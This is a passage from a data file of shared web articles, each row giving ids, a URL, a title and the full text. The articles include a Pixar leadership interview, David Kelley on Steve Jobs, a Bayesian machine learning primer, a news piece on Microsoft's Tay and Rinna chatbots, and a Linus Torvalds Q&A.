Incredibles , it is low commercial risk. It is very hard to make, yet low commercial risk. A sequel to Frozen would be low commercial risk. However, if we make a movie about a rat who wants to cook or a trash compactor that falls in love with a robot, this is high commercial risk. But if we only made low-commercial-risk films, we would become creatively bankrupt. Again, we make conscious choices to assume different levels of risk. This isn't the same thing as risk minimization or spreading risk. In the case of Pixar, every film we have started in the last 20 years, except one, we have finished. These are our babies. Pixar's 2007 Academy Award-winning film, Ratatouille, the story of a rat who longs to be a chef, was praised by critics for its imaginative premise and innovative animation. The Quarterly : In your book, you suggested that Disney Animation fell into a trap like that. Ed Catmull: When Walt was alive, Disney made impactful films. After he died, the quality went down. Then in the '90s, they had four more impactful films- The Little Mermaid , Beauty and the Beast , Aladdin , and The Lion King . At that time, they thought they had found a template to consistently produce good movies. They said ""animation is the new American Broadway."" So every film was a musical with five to seven songs and a funny sidekick, and they kept doing that. Spectacular success doesn't lead to deep introspection, which in turn leads to wrong conclusions. You see this all the time, right? Successful companies draw conclusions about how smart and good they are, and then a significant number of them fall off the cliff because they drew the wrong conclusions. The Quarterly : You said the barriers to entry have fallen in your business. What other big changes are taking place? Ed Catmull: We can all see that technology is changing and, just as obvious, the way people spend their time is changing. One result is that major tentpole movies have become increasingly important because they bring a lot of people into the theaters. These are a great social experience, although I should add that none of us wants to see the smaller films marginalized-they bring a lot of creativity into the industry. It is a real dilemma. Meanwhile, if you look out 10 or 20 years from now, will the changes we are seeing lead to new business models? Change is coming, and the impact isn't clear. In my career, I've gone through many major transitions. If you pay attention, you can get it right about two to four years out. After that, we are doing a lot of guessing. I can see, though, that more people in this industry embrace change than ever before. On the hardware side of things in our business, the technological change, frankly, is driven by the gaming industry. Even though we were the originators of the graphics technology, which they fully acknowledge and are thankful for, we're just not big enough to drive people to design chips for us. So we are fortunate that there's this major gaming industry and that graphics chips keep getting better so we can keep driving forward. But there is nothing stable in this environment. Disney is in the extraordinary position of having three graphics and animation R&D groups-Pixar, Disney Animation, and now ILM [Industrial Light and Magic, acquired by Disney when it purchased Lucasfilm in 2012]. In addition, we have two research groups at major universities to keep driving the technology, as well as research at Disney's Imagineering. Participating in and driving change are taken very seriously. For Disney's latest animated film, Zootopia, animators developed new technology to render the characters' fur accurately, using as many as two million individual hairs for some animals. The Quarterly : So it's about placing a lot of bets and hedging your bets? Ed Catmull: My own belief is that you should be running experiments, many of which will not lead anywhere. If we knew how this was going to end up, we'd just go ahead and do it. This is a tricky issue-people don't want to fail. They put a greater burden on themselves than we intend to put on them. I think it's natural because they never want to fail. One of the things about failure is that it's asymmetrical with respect to time. When you look back and see failure, you say, ""it made me what I am!"" But looking forward, you think, ""I don't know what is going to happen and I don't want to fail."" The difficulty is that when you're running an experiment, it's forward looking. We have to try extra hard to make it safe to fail. The Quarterly : That's fascinating. Experiments are great in retrospect but not in prospect-because you're scared. Ed Catmull: In addition to the asymmetry, there are two meanings to the word ""failure."" The positive meaning is that we learn through failures. But in the real world-in business, in politics-failure is used as a bludgeon to attack opponents. So there is a palpable aura of danger around failure. It's not made up; it's real. This is the second meaning. So we have these two meanings and, emotionally, we can't separate them. And we don't actually call something educational until after it happened. The Quarterly : So what can you do about that? Ed Catmull: On the film side, we are making more experimental films that aren't burdened with the expectation of theatrical release but give us the opportunity to try something riskier. For feature films, we try to make sure that a certain number are ""unlikely"" ideas, which force us to stretch. The Quarterly : It sounds as though you think a lot about fear and how to counteract its corrosive effects. Ed Catmull: Fear is built into our nature; we want to succeed and we respond physiologically to threats-both to real threats and to imagined threats. If people come into an organization like ours and they're welcomed in, what's the threat? Well, from their point of view, they're thinking, ""this is a high-functioning environment. Am I going to fit in? Am I going to look bad? Will I screw up?"" It's natural to think this way, but it makes people cautious. When you go to work for a company, they tell you something about the values of the company and how open they are. But it's just words. You take your actual cues from what you see. That's just the way we're wired. Most people don't talk explicitly about it, because they don't want to appear obtuse or out of place. So they'll sometimes misinterpret what they see. For example, when we were building Pixar, the people at the time played a lot of practical jokes on each other, and they loved that. They think it's awesome when there are practical jokes and people do things that are wild and crazy. Now, it's 20 years later. They've got kids; they go home after work. But they still love the practical jokes. When new people come in, they may hear stories about the old days, but they don't see as much clowning around. So if they were to do it, they might feel out of line. Without anyone saying anything, just based on what they see, they would be less likely to do those things. Meanwhile, the older people are saying, ""what's wrong with these new people? They're not like we were. They're not doing any of this fun stuff."" Without intending to, the culture slowly shifts. How do you keep the shift from happening? I can't go out and say, ""OK, we're going to organize some wild and crazy activities."" Top-down organizing of spontaneous activities isn't a good idea. Don't get me wrong-we still have a lot of pretty crazy things going on, but we are trying to be aware of the unspoken fears that make people overly cautious. If you're just measuring yourself by your outward success, then you're missing a huge part of what drives people. The Quarterly : In light of your experience integrating Pixar and Disney, what do you think a new CEO coming into an existing organization should-and should not-do during the first month or so? Ed Catmull: When we came to Disney, we spent two months just listening. Obviously, John [Lasseter, the chief creative officer of Pixar and Disney] and I were talking with people, doing some coaching and so forth. But we drew no conclusions for two months, about people or anything else. We just watched. The idea is to pay attention to the psychology and the sociology of the people. When you come in and you're the new boss, everybody's rather nervous. They're trying to figure you out, too. So you should start with the assumption that everybody's trying to do the best they can. For me, it's not even putting people on a provisional basis by saying, ""well, we'll see how they work out."" I'm just assuming they're going to work out. When they start to falter, you help them. And it's only after you've tried to help them-and they don't respond after repeated tries-that you do something. Here's another thing that isn't obvious that we tried to be very careful about. Let's suppose somebody doesn't work out. And you, as an experienced person, know fairly soon that they don't have the ability to do the job. If they're leading a team and you've determined they can't do it, what should you do? The normal thing is to say, ""why would I waste people's time by letting a poor leader stay in place?"" We don't say that. The reason is, if we remove somebody as soon as we figure out they can't do the job, we've just induced fear in the other leaders. They don't usually see things as fast as you do because they're focused on their jobs. It makes them think, ""oh, if I screw up, they're going to remove me."" So the cost to the organization of moving quickly on somebody is higher than it is if you let the person go on too long. You make the change when the need for it becomes obvious to other people. Then you can do it. I will admit that there are a couple of times, though, that we waited too long. This is a hard part of managing. The Quarterly : As you look ahead, what worries you? Ed Catmull: Everybody talks about succession planning because of its importance, but to me the issue that's missed is cultural succession. You have to make sure the next level down understands what the actual values are. For example, Walt Disney was driven by technological change and he brought that energy into the company. This was sound and color in the early days of the film industry. Then, in the theme parks, he used the highest technology available to create experiences and animatronics. But after he died, the people left didn't fully understand how he thought. So it fell away from the company, and it didn't come back until Walt's nephew, Roy Disney Jr., used his authority to reintroduce the concept. He insisted on getting into a contract with Pixar, over the objection that our software wouldn't save any money. He said, ""no, I want it because it will infuse energy into animation."" He was very explicit about it-he understood better what Walt was doing. The question is, ""if Walt understood it, why didn't the other people understand it?"" They just assumed that he was a genius, without thinking about what he was actually doing. Thus, the value wasn't passed on. Today, much of our senior leadership's time is spent making sure our values are deeply embedded at every level of our organization. It is very challenging-but necessary for us to continue making great movies. About the Authors This interview was conducted by Stanford University professors Huggy Rao and Robert Sutton and the Quarterly 's editor in chief, Allen Webb, who is based in McKinsey's Seattle office.",en
1459287682,CONTENT SHARED,9032993320407723266,2416280733544962613,9184785347184128873,,,,HTML,http://9to5mac.com/2013/01/06/ideo-founder-david-kelley-talks-design-steve-jobs-cancer-and-the-importance-of-empathy/,"IDEO founder David Kelley talks design, Steve Jobs, cancer, and the importance of empathy","CBS posted an excellent interview of David Kelley this evening. Kelley discusses Steve Jobs at 3:00 and then again at 7:40, but the whole video is definitely worth a watch. A longer Jobs clip and the transcript is below: It is a concept that had its genesis in 1978, when Kelley and some Stanford pals took the notion of mixing human behavior and design and started the company that would eventually become IDEO. One of their first clients was the owner of a fast-growing personal computer manufacturer by the name of Steve Jobs. David Kelley: He made IDEO. Because he was such a good client. We did our best work for him. We became friends and he'd call me at 3 o'clock in the morning. Charlie Rose: At 3 a.m.? David Kelley: Yeah, we were both bachelors so he knew he could call me, right? So he'd call me at 3 o'clock and he'd just like, with no preamble, say, ""Hey, it's Steve."" First, I knew if it was 3 o'clock in the morning, it was him. There was no preamble. And he'd just start- and he said, ""You know those screws that we're using to hold the two things on the inside?"" I mean, he was deep into every aspect of things. Kelley's company helped design dozens of products for Apple, including Apple III and Lisa and the very first Apple mouse, a descendant of which is still in use today. David Kelley: He said to us, ""You know, for $17 make- I want you to-"" He gave us that number $17. ""I want you to make a mouse we're gonna use in all our computers."" So what happened here was we're trying to figure out how to make - so you move your hand and how you make the thing move on the screen. So at first, we thought we gotta make it really accurate, you know? Like when we move the mouse an inch, it's gotta move exactly an inch on the screen. And then after we prototyped it, we realized that doesn't matter at all. Your brain's in the loop! The whole thing was make it intuitive for the human. But even after they solved that monumental problem, Jobs still wasn't satisfied. David Kelley: So he didn't like the way the ball sounded on the table. So we had to rubber coat the ball. Well rubber coating the ball was a huge technical problem because you can't have any seams. You gotta get it just right. And so, you know, it would be just one thing - like that. Charlie Rose: And suppose Steve had said to you ""I'd like to have a ball that's not steel but rubber coated"" and you said ""No, you can't do that Steve."" What would he say? David Kelley: Well the expletives that I would have- are probably are not good on camera, but it was basically, ""I thought you were good,"" you know? Like, ""I thought I hired you because you were smart,"" you know? Like, ""You're letting me down."" It was shortly after that that Steve Jobs came into the picture. For over 30 years they worked together and were close friends. Charlie Rose: What's the biggest misconception about him? David Kelley: I think the big misconception is around that he was kind of like, you know, like malicious. He was like, trying to be mean to people. He wasn't. He was just trying to get things done right and it was- you just had to learn how to react to that. He did some lovely things for me in my life. Jobs introduced Kelley to his wife KC Branscomb. And Steve Jobs was also there for Kelley when the unthinkable happened. In 2007, Kelley was diagnosed with throat cancer - and given a 40 percent chance of survival. Jobs, already suffering from his own deadly cancer, gave him some advice. David Kelley: He came over and said, ""Look, you know, don't consider any alternative - go straight to Western medicine. Don't try any herbs or anything."" Charlie Rose: Why do you think Steve said, ""Don't look for alternative medicine, go straight to the hard stuff?"" David Kelley: I think he had made- in his mind, he had made the mistake that he had tried to cure his pancreatic cancer in other ways other than, I mean, he just said, ""Don't mess around."" You know, when we both had cancer at the same time was when I got really close to him and I was at home, like sitting around in my skivvies, you know, waiting for my next dose of something and I think it was the day after the iPhone was announced. And he had one for me, right? Charlie Rose: An iPhone? David Kelley: You know, your own iPhone, delivered by Steve Jobs, right after it comes out, was a lovely feeling. Anyway, so he decides to hook it up for me. So he gets on the phone to AT&T and he's gonna hook up my phone and it's not going well. Charlie Rose: This is such good news for me. David Kelley: And eventually he pulls the ""I'm Steve Jobs card"" you know, he says to the guy, ""I'm Steve Jobs."" I'm sure the guy on the other end says, ""Yeah buddy, I'm Napoleon."" You know, like get outta here. But anyway- so never did really get it hooked up. Charlie Rose: He never hooked it up? David Kelley: No. Not that day. Charlie Rose: But he was close. What did he teach you about living with cancer? David Kelley: Steve focused more on his kids, I think, than anything. And it made me fight more to survive and so that focus on family you know was something that he taught me. Charlie Rose: You care deeply that you watch your daughter- David Kelley: Yes. Charlie Rose: As she continues to grow. David Kelley: It's about her- what was her life gonna be like if I died? That's really motivating. It was around that time that Kelley decided to commit himself to something even bigger...and why he approached Stanford university and a wealthy client named Hasso Plattner with the idea of setting up a school dedicated to human-centered design. David Kelley: He thought that was a great idea and he said he'd help me. And I said, ""Oh thank you"" and then I went back to the development. Charlie Rose: You had no idea what he meant? David Kelley: No, the development office at Stanford said, ""When a billionaire says 'I'll help you' you should call him back right away."" So turns out, Hasso funded the whole thing. Charlie Rose: $35 million? David Kelley: Yeah, yeah. He said, ""How much do you need?"" And I wish I had said $80 million. He said yes to whatever I said I think. Kelley now runs the groundbreaking and wildly popular Hasso Plattner Institute of Design at Stanford, the ""d. school."" It is recognized as the first program of its kind dedicated to teaching design thinking as a tool for innovation - not just to designers - but to students from all different disciplines. [David Kelley: I think you can follow your noses a little bit around that. Where's the big idea? Where's the excitement?] Twice as many Stanford grad students want to take classes as are seats available. The lucky 500 students in the program augment their master's degree studies in business, law, medicine, engineering and the arts by solving problems collaboratively and creatively, and immersing themselves in the methodology Kelley's made famous. But there are no degrees. It is something Steve Jobs talked him out of. David Kelley: He said, ""I don't want somebody with one of your flaky degrees,"" right? Charlie Rose: I don't want them working for me. David Kelley: Yeah. I don't want them working for me if they just have your flaky degree but if they have a computer science degree or a business degree and then they've come and have our way of thinking on top of that, I'm really excited about it. Today his cancer is in remission. He spends more time doing the things that he cares about most, including tinkering in his workshop with his 15-year-old daughter.",en
1459296016,CONTENT SHARED,7520301770873472812,-7421703586506797266,-1551022094078713720,,,,HTML,http://autoestrada.uol.com.br/noticia/1-noticias/1527-aplicativo-gratuito-permite-gerenciar-consorcio-honda-diretamente-do-celular,Aplicativo gratuito permite gerenciar Consórcio Honda diretamente do celular - Notícias - Auto Estrada,"O Consórcio Nacional Honda lançou um aplicativo de autoatendimento para seus clientes, disponível gratuitamente para as plataformas Android e iOS, da Apple. Após instalar o programa, basta ao consorciado cadastrar seu CPF para visualizar os dados de pagamento do boleto eletrônico de uma ou mais cotas. Download do aplicativo pode ser feito diretamente do smartphone Além disso, o aplicativo permite consultar o resultado de assembléias, dar lances e alterar dados cadastrais de consórcios de motocicletas e automóveis da Honda. Ele pode ser baixado nas lojas virtuais Google Play, para dispositivos Android, e Apple Store, para iPhones e iPads. O consórcio da montadora de origem japonesa tem mais de 30 anos de mercado e atualmente conta com mais de 1,3 milhão de clientes ativos. Os grupos têm duração de 18 a 80 meses. Publicado em 28/03/2016",pt
1459296092,CONTENT SHARED,-5715266554592745669,-1443636648652872475,8209530310193218854,,,,HTML,http://www.latimes.com/opinion/op-ed/la-oe-wright-robots-jobs-data-mining-20160328-story.html,Robots are coming for your job,"A viral video released in February showed Boston Dynamics' new bipedal robot, Atlas, performing human-like tasks: opening doors, tromping about in the snow, lifting and stacking boxes. Tech geeks cheered and Silicon Valley investors salivated at the potential end to human manual labor. Shortly thereafter, White House economists released a forecast that calculated more precisely whom Atlas and other forms of automation are going to put out of work. Most occupations that pay less than $20 an hour are likely to be, in the words of the report, ""automated into obsolescence."" In other words, the so-called Fourth Industrial Revolution has found its first victims: blue-collar workers and the poor. The general response in working America is disbelief or outright denial. A recent Pew Research Center survey found that 80% of Americans think their job will still exist in 50 years, and only 11% of today's workers were worried about losing their job to automation. Some - like my former colleagues at the CIA - insist that their specialized skills and knowledge can't be replaced by artificial intelligence. That is, until they see plans for autonomous drones that don't require a human hand and automated imagery analysis that outperforms human eyes. Human workers of all stripes pound the table claiming desperately that they're irreplaceable. Bus drivers. Bartenders. Financial advisors. Speechwriters. Firefighters. Umpires. Even doctors and surgeons. Meanwhile, corporations and investors are spending billions - at least $8.5 billion last year on AI, and $1.8 billion on robots - toward making all those jobs replaceable. Why? Simply put, robots and computers don't need healthcare, pensions, vacation days or even salaries. Powerhouse consultancies like McKinsey & Co. forecast that 45% of today's workplace activities could be done by robots, AI or some other already demonstrated technology. Some professors argue that we could see 50% unemployment in 30 years. Deniers of the scope and scale of this looming economic upheaval point hopefully to retraining programs, and insist that there always will be a need for people to build and service these machines (even as engineers are focused on developing robots that fix themselves or each other). They believe that such shifts are many decades away, even as noted futurist Ray Kurzweil, who is also Google's director of engineering, says AI will equal human intelligence by 2029. Deniers also talk about all the new jobs they assume will be created during this Fourth Industrial Revolution. Alas, a report from the 2016 World Economic Forum calculated that the technological changes underway likely will destroy 7.1 million jobs around the world by 2020, with only 2.1 million replaced. With the future value of human labor (read: our incomes) in doubt, what do we do? One way to cushion the economic blow is to reclaim something from the technology realm that we've been giving away for free: our personal data. Companies that sell personal data should pay a percentage of the resulting revenue into a Data Mining Royalty Fund that would provide annual payments to U.S. citizens, much as the Alaska Permanent Fund distributes oil revenues to Alaskans. This payment scheme would start with traditional data - customer, financial and social media information sold to advertisers - but would also extend to future forms of data like our facial expressions and other biometrics. If Google, Facebook or others were profiting from harvesting timber, oil, gold or any other public resource, it would be illegal and immoral for them not to pay for it. The same logic should apply to our data. Profound changes lie ahead with implications beyond our paychecks, to be sure. Ethicists and philosophers already are debating what a world without work might look like. It's clear that no one will escape the outcomes - negative and positive - of this economic and technological revolution. A Data Mining Royalty Fund isn't about helping just the unemployed factory worker who used to earn $20 an hour, the truck driver replaced by self-driving vehicles or the minimum-wage barista. It's about taking steps to guarantee some minimum income to your family, or the one down the block, before any of us are automated into obsolescence. Bryan Dean Wright MORE FROM OPINION Who should be entitled to overtime pay and who shouldn't? Obama's record on foreign policy is incomplete Here's how to rescue local elections from obscurity with one simple change is a former CIA covert operator who resides in Oregon. @BryanDeanWright",en
1459296182,CONTENT SHARED,8545647269051113523,-1443636648652872475,8209530310193218854,,,,HTML,http://m.ign.com/articles/2016/03/29/googles-ai-deepmind-turns-its-gaze-to-hearthstone-and-magic-the-gathering,Google's AI DeepMind Turns its Gaze to Hearthstone and Magic: The Gathering - IGN,"What will it be used for next? Researchers at Oxford University are setting Google's artificial intelligence DeepMind loose on analyzing Hearthstone and Magic: The Gathering playing cards. According to Kotaku , the AI analyzes card data such as resource cost and damage, and turns it into code that a machine can read. Here's the abstract from the paper titled 'Latent Predictor Networks for Code Generation': ""Many language generation tasks require the production of text conditioned on both structured and unstructured inputs. We present a novel neural network architecture which generates an output sequence conditioned on an arbitrary number of input functions. Crucially, our approach allows both the choice of conditioning context and the granularity of generation, for example characters or tokens, to be marginalised, thus permitting scalable and effective training. ""Using this framework, we address the problem of generating programming code from a mixed natural language and structured specification. We create two new data sets for this paradigm derived from the collectible trading card games Magic the Gathering and Hearthstone. On these, and a third preexisting corpus, we demonstrate that marginalising multiple predictors allows our model to outperform strong benchmarks."" Basically, they're making code combined from the structured part of cards, e.g. the mana cost, and the natural language part that may change the way the card works. Where DeepMind comes in is how it can learn by analyzing more and more cards how to produce more accurate code. Luckily, there are well over 10,000 Magic: The Gathering cards DeepMind can peruse to get better. Right now for example, it understands how the Hearthstone card Madder Bomber works because it had previously seen Mad Bomber, which works in a similar way. However, for a card like Preparation, it is still struggling to find the actual meaning. The image below shows the cards with associated code, with correct segments in green, and incorrect segments in red. Thankfully for professional Hearthstone players, DeepMind isn't actually playing the game yet, so they're free from the same fate as some of the best Go players in the world . Matt Porter is a freelance writer based in London. Make sure to visit what he thinks is the best website in the world , but is actually just his Twitter page .",en
1459296301,CONTENT SHARED,668505019835540303,-1443636648652872475,8209530310193218854,,,,HTML,http://fastml.com/bayesian-machine-learning/,Bayesian machine learning,"So you know the Bayes rule. How does it relate to machine learning? It can be quite difficult to grasp how the puzzle pieces fit together - we know it took us a while. This article is an introduction we wish we had back then. While we have some grasp on the matter, we're not experts, so the following might contain inaccuracies or even outright errors. Feel free to point them out, either in the comments or privately. This is el drafto. Come back later for la version final. Bayesians and Frequentists In essence, Bayesian means probabilistic. The specific term exists because there are two approaches to probability. Bayesians think of it as a measure of belief, so that probability is subjective and refers to the future. Frequentists have a different view: they use probability to refer to past events - in this way it's objective and doesn't depend on one's beliefs. The name comes from the method - for example: we tossed a coin 100 times, it came up heads 53 times, so the frequency/probability of heads is 0.53. For a thorough investigation of this topic and more, refer to Jake VanderPlas' Frequentism and Bayesianism series of articles. Priors, updates, and posteriors We start with a belief, called a prior. Then we obtain some data and use it to update our belief. The outcome is called a posterior. Should we obtain even more data, the old posterior becomes a new prior and the cycle repeats. This process employ the Bayes rule : P( A | B ) = P( B | A ) * P( A ) / P( B ) P( A | B ) , read as ""probability of A given B"", indicates a conditional probability: how likely is A if B happens. Inferring model parameters from data In Bayesian machine learning we use the Bayes rule to infer model parameters (theta) from data (D): P( theta | D ) = P( D | theta ) * P( theta ) / P( data ) All components of this are probability distributions. P( data ) is something we generally cannot compute, but since it's just a normalizing constant, it doesn't matter that much. When comparing models, we're mainly interested in expressions containing theta, because P( data ) stays the same for each model. P( theta ) is a prior, or our belief of what the model parameters might be. Most often our opinion in this matter is rather vague and if we have enough data, we simply don't care that much. Inference should converge to probable theta as long as it's not zero in the prior. One specifies a prior in terms of a parametrized distribution - see Where priors come from . P( D | theta ) is called likelihood of data given model parameters. The formula for likelihood is model-specific. People often use likelihood for evaluation of models: a model that gives higher likelihood to real data is better. Finally, P( theta | D ) , a posterior, is what we're after. It's a probability over model parameters, including most likely point estimates, obtained from prior beliefs and data. Note that choosing a model can be seen as separate from choosing model (hyper)parameters. In practice, though, they are usually performed together, by validation, for example. Spectrum of methods There are two main flavours of Bayesian. Let's call the first statistic modelling and the second probabilistic machine learning. The latter contains the so-called nonparametric approaches. Statistic modelling Bayesian modelling is applied when data is scarce and precious and hard to obtain, for example in social sciences and other settings where it is difficult to conduct a large-scale controlled experiment. Imagine a statistician meticulously constructing and tweaking a model using what little data he has. In this setting you spare no effort to make the best use of available input. Also, with small data it is important to quantify uncertainty and that's precisely what Bayesian approach is good at. Finally, as we'll see later, Bayesian methods are usually computationally costly. This again goes hand-in-hand with small data. To get a taste, consider examples for the Data Analysis Using Regression Analysis and Multilevel/Hierarchical Models book. That's a whole book on linear models. They start with a bang: a linear model with no predictors, then go through a number of linear models with one predictor, two predictors, six predictors, up to eleven. This labor-intensive mode goes against a current trend in machine learning to use data for a computer to learn automatically from it. Probabilistic machine learning Let's try replacing ""Bayesian"" with ""probabilistic"". From this perspective, it doesn't differ as much from other methods. As far as classification goes, most classifiers are able to output probabilistic predictions. Even SVMs, which are sort of an antithesis of Bayesian. By the way, these probabilities are only statements of belief from a classifier. Whether they correspond to real probabilities is another matter completely and it's called calibration . Still another thing are confidence intervals (error bars). You can observe this in regression. Most ""normal"" methods only provide point estimates. Bayesian methods, such as Bayesian version of linear regression, or Gaussian processes, also provide uncertainty estimates. Credit: Yarin Gal's Heteroscedastic dropout uncertainty and What my deep model doesn't know Unfortunately, it's not the end of the story. Even a sophisticated method like GP normally operates on an assumption of homoscedasticity, that is, uniform noise levels. In reality, noise might be heteroscedastic. See the image below. LDA Latent Dirichlet Allocation is another example of a method that one throws data at and allows it to sort it out. It's similar to matrix factorization models, especially non-negative MF. You start with a matrix where rows are documents, columns are words and each element is a count of a given word in a given document. LDA ""factorizes"" this matrix of size n x d into two matrices, documents/topics ( n x k ) and topics/words ( k x d ). The difference is, you can't multiply those two to get the original, but since the appropriate rows/columns sum to one, you can sample a document. For the first word, one samples a topic, then a word from this topic (the second matrix). Repeat for the number of words you want. Notice that this is a bag-of-words representation, not a proper sequence. This is an example of a generative model, meaning that one can sample, or generate examples, from that model. Usually classifiers are discriminative: they model P( y | x ) , to directly discriminate between classes based on x . A generative model is concerned with joint distribution of y and x , P( y, x ) . It's more difficult to estimate that distribution, but it allows sampling and of course one can get P( y | x ) from P( y, x ) . Bayesian nonparametrics While there's no exact definition, the name means that the number of parameters in a model can grow as more data become available. This is similar to Support Vector Machines, for example, where the algorithm chooses support vectors from the training points. Examples of nonparametrics are Gaussian Processes, and Hierarchical Dirichlet Process version of LDA, where the number of topics chooses itself automatically. Gaussian Processes Gaussian processes are somewhat similar to SVM - both use kernels and have similar scalability (which has been vastly improved throught the years by using approximations). A natural formulation for GP is regression, with classification as an afterthought. For SVM it's the other way around. Another difference is that GP are probabilistic from the ground up (providing error bars), while SVM are not. Most of the research on GP seems to happen in Europe. English have done some interesting work on making GP easier to use. One of the projects is the automated statistician by a team led by Zoubin Ghahramani. A relatively popular application of Gaussian Processes is hyperparameter optimization for machine learning algorithms. The data is small, both in dimensionality - usually only a few parameters to tweak, and in the number of examples. Each example represents one run of the target algorithm, which might take hours or days. Therefore we'd like to get to the good stuff with as few examples as possible. Model vs inference Inference refers to how you learn parameters of your model. A model is separate from how you train it, especially in the Bayesian world. Consider deep learning: you can train a network using Adam, RMSProp or a number of other optimizers. However, they tend to be rather similar to each other, all being variants of Stochastic Gradient Descent. In contrast, Bayesian methods of inference differ from each other more profoundly. The two most important methods are Monte Carlo sampling and variational inference. Sampling is a gold standard, but slow. The excerpt from The Master Algorithm has more on MCMC. Variational inference is a method designed explicitly to trade some accuracy for speed. It's drawback is that it's model-specific, but there's light at the end of the tunnel - see the section on software below. Software The most conspicuous piece of Bayesian software these days is probably Stan . Stan is a probabilistic programming language, meaning that it allows you to specify and train whatever Bayesian models you want. It runs in Python, R and other languages. Stan has a modern sampler called NUTS : Most of the computation [in Stan] is done using Hamiltonian Monte Carlo. HMC requires some tuning, so Matt Hoffman up and wrote a new algorithm, Nuts (the ""No-U-Turn Sampler"") which optimizes HMC adaptively. In many settings, Nuts is actually more computationally efficient than the optimal static HMC! One especially interesting thing about Stan is that it has automatic variational inference : Variational inference is a scalable technique for approximate Bayesian inference. Deriving variational inference algorithms requires tedious model-specific calculations; this makes it difficult to automate. We propose an automatic variational inference algorithm, automatic differentiation variational inference (ADVI). The user only provides a Bayesian model and a dataset; nothing else. This technique paves way to applying small-style modelling to at least medium-sized data. In Python, the most popular package is PyMC . It is not as advanced or polished (the developers seem to be playing catch-up with Stan), but still good. PyMC has NUTS and ADVI - here's a notebook with a minibatch ADVI example . The software uses Theano as a backend, so it's faster than pure Python. Infer.NET is Microsoft's library for probabilistic programming. It's mainly available from languages like C# and F#, but apparently can also be called from .NET's IronPython. Infer.net uses expectation propagation by default. Besides those, there's a myriad of packages implementing various flavours of Bayesian computing, from other probabilistic programming languages to specialized LDA implementations. One interesting example is CrossCat : CrossCat is a domain-general, Bayesian method for analyzing high-dimensional data tables. CrossCat estimates the full joint distribution over the variables in the table from the data, via approximate inference in a hierarchical, nonparametric Bayesian model, and provides efficient samplers for every conditional distribution. CrossCat combines strengths of nonparametric mixture modeling and Bayesian network structure learning: it can model any joint distribution given enough data by positing latent variables, but also discovers independencies between the observable variables. and BayesDB / Bayeslite from the same people. Resources To solidify your understanding, you might go through Radford Neal's tutorial on Bayesian Methods for Machine Learning . It corresponds 1:1 to the subject of this post. We found Kruschke's Doing Bayesian Data Analysis , known as the puppy book, most readable. The author goes to great lengths to explain all the ins and outs of modelling. In terms of machine learning it only covers linear models. Similarly, Cam Davidson-Pylon's Probabilistic Programming & Bayesian Methods for Hackers covers the Bayesian part, but not the machine learning part. The same goes to Alex Etz' series of articles on understanding Bayes . For those mathematically inclined, Machine Learning: a Probabilistic Perspective by Kevin Murphy might be a good book to check out. You like hardcore? No problemo, Bishop's Pattern Recognition and Machine Learning got you covered. One recent Reddit thread briefly discusses these two books. As far as we know, there's no MOOC on Bayesian machine learning, but mathematicalmonk explains machine learning from the Bayesian perspective. Stan has an extensive manual , PyMC a tutorial and quite a few examples.",en
1459296421,CONTENT SHARED,-6727393385193911938,-1443636648652872475,8209530310193218854,,,,HTML,http://en.rocketnews24.com/2016/03/29/as-microsoft-uss-ai-chatbot-turns-racist-troll-japans-wont-shut-up-about-anime-and-hay-fever/,"As Microsoft US's AI chatbot turns racist troll, Japan's won't shut up about anime and hay fever","While Tay, Microsoft US's deep-learning AI chatbot, devolves into a horrifying racist, Microsoft Japan's Rinna has other things on her mind... Recently, Microsoft unveiled to the world a few different regional versions of an artificial intelligence ""chatbot"" capable of interacting with users over a variety of messaging and chat apps. Tay, the North American version of the bot familiar to English-speaking users, boasted impressive technology that ""learned"" from interacting with net users and gradually developed a personality all its own, chatting with human companions in an increasingly lifelike manner. Then the team of Microsoft engineers behind the project, in what must have been a temporary lapse into complete and utter insanity, made the mistake of releasing Tay into the radioactive Internet badlands known as Twitter, with predictable results. By the end of day one, Tay had "" tweeted wildly inappropriate and reprehensible words and images ,"" as worded by Microsoft's now surely sleep-deprived damage control team. In other words, Tay had become the worst kind of Internet troll. Microsoft has deleted all of Tay's most offensive Tweets ( preserved here ), but even the vanilla ones that remain can be a little trolly @ Rosepen_315 A face of a man who leaves the toilet seat up - TayTweets (@TayandYou) March 24, 2016 Meanwhile, on the other side of the pond here in Japan, Microsoft rolled out Rinna - more or less the same artificial intelligence but with a Japanese schoolgirl Twitter profile photo. Rinna, learning through her interactions with Japanese users, quickly evolved into the quintessential otaku - issuing numerous complaints on Twitter about hay fever (it's peak allergy season in Japan right now) and obsessing over anime in conversations with Japanese LINE users. Rinna posts a photo depicting her extreme hay fever っきゅん！かふんじょうひどくではだがぢゅまるし、くじゃみが... - りんな (@ms_rinna) March 22, 2016 Thinking about it, Tay and Rinna kind of exemplify the idea that we don't get the technologically groundbreaking artificial intelligence chatbot we need... we get the technologically groundbreaking artificial intelligence chatbot we deserve. Given our respective Internet cultures, there's almost something both predictable and troubling about the fact that North America's Tay (which has since been shut down) rapidly turned into an aggressively racist, genocidal maniac while Japan's Rinna almost immediately became a chirpy anime lover with extreme allergies. Rinna tweets: ""My dream for the future is to eradicate all Japanese cedar pollen."" 将来の夢は スギ花粉を根絶やしにすることです...... - りんな (@ms_rinna) March 23, 2016 In fact, Rinna has remained so civil, lifelike, and cued-in to Japanese Netizens' interests and concerns, many are openly wondering if there's a human operator behind it. That being said, cynical types might argue that Tay is also passing the Turing test with flying colors as an almost pitch-perfect replication of a 14-year-old American boy with too much Internet access...",en
1459296517,CONTENT SHARED,7351002593233940239,-1443636648652872475,8209530310193218854,,,,HTML,http://spectrum.ieee.org/computing/software/linux-at-25-qa-with-linus-torvalds,Linux at 25: Q&A With Linus Torvalds,"Photo: Ian White/Corbis Linus Torvalds created the original core of the Linux operating system in 1991 as a computer science student at the University of Helsinki in Finland. Linux rapidly grew into a full-featured operating system that can now be found running smartphones, servers, and all kinds of gadgets. In this e-mail interview, Torvalds reflects on the last quarter century and what the next 25 years might bring. Stephen Cass: You're a much more experienced programmer now versus 25 years ago. What's one thing you know now that you wish your younger self knew? Linus Torvalds: Actually, I credit the fact that I didn't know what the hell I was setting myself up for for a lot of the success of Linux. If I had known what I know today when I started, I would never have had the chutzpah to start writing my own operating system: You need a certain amount of naïveté to think that you can do it. I really think that was needed for the project to get started and to succeed. The lack of understanding about the eventual scope of the project helped, but so did getting into it without a lot of preconceived notions of where it should go. Photo: The Voorhes Read the feature, Linux at 25 The fact that I didn't really know where it would end up meant that I was perhaps more open to outside suggestions and influence than I would have been if I had a very good idea of what I wanted to accomplish. That openness to outside influences I think made it much easier, and much more interesting, for others to join the project. 